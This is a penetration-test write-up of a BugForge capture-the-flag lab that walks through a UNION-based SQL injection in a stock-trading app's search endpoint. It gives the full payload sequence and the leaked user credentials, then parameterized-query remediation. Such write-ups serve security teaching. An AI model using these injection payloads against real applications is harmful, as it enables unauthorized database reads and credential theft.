Shady Oaks Financial: UNION-based SQL Injection
Part 1: Pentest Report
Executive Summary
Shady Oaks Financial is a stock-trading web application built as a React single-page app over a JSON API with HS256 JWT bearer authentication and a relational SQL backend. The stock search endpoint concatenates user input directly into a SQL string literal, allowing a UNION-based SQL injection that reads arbitrary database tables. Any authenticated low-privilege user can recover the full users table, including administrator credentials.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | UNION-based SQL injection in stock search | High | 6.5 | CWE-89 | GET /api/stocks/search |
The single finding is flag-bearing: the application stores the objective flag in the administrator account’s password column, which is recoverable through the injection alongside every other user’s credentials. The endpoint is auth-gated, but registration is open, so the practical barrier to exploitation is a self-registered account.
Objective
BugForge daily lab, easy-rated, with the hint “Search for the best stocks.” The objective was to recover the flag from the target application.
Scope / Initial Access
# Target Application
URL: https://lab-1780854506268-d39x32.labs-app.bugforge.io
# Auth details
# HS256 JWT bearer token in the Authorization header.
# Sample token decodes to: {"id":5,"username":"haxor2","role":"user"}
# Starting privileges: low-privilege user (role:user).
The search request carried a valid low-privilege user token. The stock search endpoint requires that token: requests without it are rejected, so the injection is reachable only by an authenticated account. Registration is open via /api/register, so obtaining a qualifying account is trivial.
Reconnaissance: Mapping the JSON API Surface
The frontend is a static React bundle served alongside a JSON API. Walking the API calls the SPA makes surfaced the endpoint inventory and the shape of the search response, which is what made the injection both findable and directly exploitable.
- The application exposes a stock-search endpoint,
GET /api/stocks/search?q=<term>, that takes a free-text query parameter. - The search response is a JSON array of stock objects with eight keys:
id,symbol,name,initial_price,current_price,description,trend,created_at. An eight-key response is a strong hint at the underlying column count for a UNION attack. - Two of those keys (
trend,created_at) render as strings in the response, which makes them suitable carriers for string data injected through a UNION select. - Authentication is a low-privilege user JWT, and the broader API exposes user-oriented endpoints (
/api/portfolio,/api/transactions,/api/register), implying auserstable behind the application.
Application Architecture
| Component | Detail |
|---|---|
| Backend | JSON API |
| Frontend | React single-page application (static JS/CSS bundle) |
| Auth | HS256 JWT bearer token in the Authorization header |
| Database | Relational SQL (UNION and ORDER BY behavior, single-quote string context) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/stocks/search |
GET | Yes | Vulnerable. UNION SQL injection in q. |
/api/stocks |
GET | Yes | Stock listing |
/api/stocks/:id/history |
GET | Yes | Price history |
/api/portfolio |
GET | Yes | User portfolio |
/api/register |
POST | No | Open registration |
/api/verify-token |
POST | Yes | Token validation |
Known Users
| Username | ID | Role |
|---|---|---|
| haxor2 | 5 | user |
Attack Chain Visualization
┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
│ GET /api/stocks/ │ │ q=404' │ │ q=404' order by N-- │
│ search?q=<term> │──▶│ → HTTP 500 │──▶│ → 8 ok, 9 errors │
│ JSON array of stocks│ │ string-context SQLi │ │ column count = 8 │
└─────────────────────┘ └─────────────────────┘ └─────────────────────┘
│
▼
┌─────────────────────┐ ┌──────────────────────────────────────────────┐
│ admin password col │ │ UNION SELECT null×6, username, password │
│ holds the flag │◀──│ FROM users-- → creds land in trend/created_at │
│ bug{...} │ │ JSON keys │
└─────────────────────┘ └──────────────────────────────────────────────┘
Findings
F1: UNION-based SQL injection in stock search
Severity: High
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Endpoint: GET /api/stocks/search
Authentication required: Yes
Description
The q query parameter of the stock search endpoint is concatenated into a single-quoted SQL string literal without sanitization or parameterization. A single quote in q breaks out of the literal and produces a syntax error, and a UNION select appended after a comment marker returns attacker-controlled rows in the JSON response. Because the search response serializes eight columns by position, a UNION select of eight values maps each value to a fixed JSON key. Placing username and password in the two positions whose keys render as strings (trend, created_at) returns the full users table in the response.
Impact
Any authenticated low-privilege user can read the full users table, recovering every account’s credentials including the administrator’s.
Reproduction
Step 1: Confirm string-context injection
GET /api/stocks/search?q=404' HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>
Response: HTTP/1.1 500. The unbalanced quote breaks the SQL string literal, confirming the parameter is injected into a single-quoted string context.
Step 2: Confirm boolean control
GET /api/stocks/search?q=404' or 1=1-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>
Response: HTTP/1.1 200 returning all stock rows. The injected or 1=1 overrides the search filter, confirming the input alters query logic.
Step 3: Determine column count
GET /api/stocks/search?q=404' order by 8-- HTTP/1.1
...
GET /api/stocks/search?q=404' order by 9-- HTTP/1.1
Response: order by 8 returns 200; order by 9 returns 500. The query selects 8 columns.
Step 4: Confirm UNION and target table
GET /api/stocks/search?q=404' union select null,null,null,null,null,null,null,null from users-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>
Response: HTTP/1.1 200. The UNION select of eight NULLs against users succeeds, confirming both the column count and the existence of the users table.
Step 5: Extract credentials
GET /api/stocks/search?q=404' union select null,null,null,null,null,null,username,password from users-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>
Response: HTTP/1.1 200 with the users table reflected into the JSON array. Column 7 (username) lands in the trend key and column 8 (password) in the created_at key:
[
{"trend": "admin", "created_at": "bug{ePngTqMStGZXkUaAVYc5ktS0ABckZDXv}"},
{"trend": "haxor", "created_at": "password"},
{"trend": "haxor2", "created_at": "password"},
{"trend": "investor", "created_at": "invest456"},
{"trend": "trader", "created_at": "password123"}
]
The administrator account’s password column holds the flag.
Remediation
Fix 1: Use parameterized queries
// BEFORE (Vulnerable)
const rows = db.query(
"SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
"FROM stocks WHERE name LIKE '%" + q + "%'"
);
// AFTER (Secure)
const rows = db.query(
"SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
"FROM stocks WHERE name LIKE ?",
['%' + q + '%']
);
Additional recommendations:
- Run the application’s database connection under a least-privilege account scoped to the tables it legitimately needs, so a query defect cannot read unrelated tables such as
users. - Store passwords as salted hashes, not recoverable plaintext, so a read primitive does not yield usable credentials. (The API returns plaintext values; the storage layer may or may not be plaintext, but the values are recoverable as returned.)
- Do not store secrets or objective values in a column that user-facing queries can reach.
OWASP Top 10 Coverage
- A03:2021 Injection: User input from the
qparameter is concatenated into a SQL string literal without neutralization, allowing a UNION-based injection that reads arbitrary tables. - A01:2021 Broken Access Control: A low-privilege user reads the full
userstable, including administrator credentials, crossing the data-access boundary the role should enforce.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request interception and replay |
References
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
- OWASP Top 10 A03:2021 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
Part 2: Notes / Knowledge
Key Learnings
- A JSON search endpoint that returns serialized rows is itself the exfiltration channel; no error-based or blind extraction needed. When a UNION-injectable endpoint already reflects query results into a JSON array, count the columns, pad the UNION with NULLs, and route your selected values into the positions whose JSON keys render as strings. Here the eight-key search response (
trend,created_atamong them) mapped directly to the eight selected columns, sousernameandpasswordcame back in the response body with no second-order trickery.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Request /api/stocks/search with the Authorization header removed |
Not completed this rotation | The injection was found and the objective met before testing anonymous reachability; left as an open question. |
| Fingerprint the DBMS | Not pinned | String concatenation, UNION, and -- comments are generic across SQLite, MySQL, and Postgres; nothing in the responses differentiated the engine, and it was not needed to reach the objective. |
Tags: #sqli #union-injection #cwe-89 #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-06-10